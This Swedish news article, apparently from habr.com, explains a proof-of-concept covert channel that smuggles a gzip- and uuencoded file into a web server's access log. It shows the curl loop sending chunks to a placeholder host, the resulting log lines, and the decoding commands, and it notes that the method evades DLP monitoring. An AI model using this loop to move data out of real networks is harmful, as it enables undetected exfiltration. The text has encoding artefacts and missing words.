Enligt definitionen pÄ Wikipedia Àr ett dött brev (dead drop) ett verktyg för konspiration som anvÀnds för att överföra information eller objekt mellan personer som anvÀnder en hemlig plats. Idén Àr att mÀnniskor aldrig trÀffas, men ÀndÄ utbyter information och upprÀtthÄller operationell sÀkerhet.
Döda brevet bör inte dra uppmÀrksamhet till sig. DÀrför anvÀnds ofta diskreta saker i den fysiska vÀrlden: en lös tegelsten i vÀggen, en bibliotekbok eller ett hÄl i ett trÀd.
Det finns mÄnga verktyg för kryptering och anonymisering pÄ internet, men sjÀlva anvÀndningen av dessa verktyg drar uppmÀrksamhet. Dessutom kan de blockeras pÄ företags- eller statlig nivÄ. Vad ska man göra?
Utvecklaren Ryan Flowers föreslog en intressant lösning â . Om man tĂ€nker efter, vad gör en webbserver? Den tar emot förfrĂ„gningar, levererar filer och skriver loggar. Och den registrerar alla förfrĂ„gningar i loggen, Ă€ven felaktiga!
Det innebÀr att vilken webbserver som helst kan spara nÀstan vilket meddelande som helst i sin logg. Flowers funderade över hur man skulle kunna anvÀnda detta.
Han föreslÄr följande alternativ:
- Ta en textfil (hemligt meddelande) och berÀkna en hash (md5sum).
- Koda den (gzip + uuencode).
- Skriv den i loggen genom en avsiktligt felaktig förfrÄgan till servern.
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /+=+/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | shFör att lÀsa filen mÄste dessa operationer utföras i omvÀnd ordning: avkoda och dekomprimera filen, kontrollera hashen (hashet kan sÀkert överföras via öppna kanaler).
Mellanslag ersÀtts med =+=, sÄ att det inte finns nÄgra mellanslag i adressen. Programmet, som författaren kallade CurlyTP, anvÀnder base64-kodning, som i e-postbilagor. FörfrÄgan görs med en nyckelord, ?transfer?, sÄ att mottagaren enkelt kan hitta den i loggarna.
Vad ser vi i loggarna i sÄdana fall?
1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET \/?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP\/1.1" 200 4050 "-" "curl\/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET \/?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP\/1.1" 200 4050 "-" "curl\/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET \/?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP\/1.1" 200 4050 "-" "curl\/7.29.0"Som redan nÀmnts krÀvs det att man genomför operationer i omvÀnd ordning för att fÄ det hemliga meddelandet:
FjÀrrmaskin
[root@server \/home\/domain\/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's\/=+=/ /g' > g.txt.gz.uue
[root@server \/home\/domain\/logs]# uudecode g.txt.gz.uue
[root@server \/home\/domain\/logs]# mv g.txt.gz.uue g.txt.gz
[root@server \/home\/domain\/logs]# gunzip g.txt.gz
[root@server \/home\/domain\/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 gProcessen kan lÀtt automatiseras. Md5sum matchar och innehÄllet i filen bekrÀftar att allt har dekodats korrekt.
Metoden Àr vÀldigt enkel. "Syftet med denna övning Àr uteslutande att bevisa att filer kan överföras genom oskyldiga smÄ webbförfrÄgningar, och att detta fungerar pÄ vilken webbserver som helst med vanliga textloggar. I grunden Àr varje webbserver ett gömstÀlle!", skriver Flowers.
SjÀlvklart fungerar metoden bara om mottagaren har tillgÄng till serverloggar. Men en sÄdan tillgÄng ges till exempel av mÄnga webbhotell.
Hur kan detta anvÀndas?
Ryan Flowers sÀger att han inte Àr en sÀkerhetsexpert och inte kommer att göra en lista över möjliga anvÀndningsomrÄden för CurlyTP. För honom Àr det bara ett bevis pÄ konceptet att vanliga verktyg som vi ser varje dag kan anvÀndas pÄ ett okonventionellt sÀtt.
Faktiskt har denna metod flera fördelar över andra servergömmor som eller : den krĂ€ver ingen speciell konfiguration pĂ„ serversidan eller nĂ„gra speciella protokoll â och kommer inte att vĂ€cka misstankar hos dem som övervakar trafiken. Det Ă€r osannolikt att SORM eller DLP-systemen kommer att skanna URL:er efter komprimerade textfiler.
Detta Àr en av metoderna för att överföra meddelanden genom tjÀnstefiler. Man kan minnas hur tidigare nÄgra avancerade företag publicerade eller i HTML-sidans kod.

Idén var att en sÄdan "pÄskÀgg" skulle ses endast av webb utvecklare, eftersom en normal mÀnniska inte skulle granska rubrikerna eller HTML-koden.
KĂ€lla: habr.com
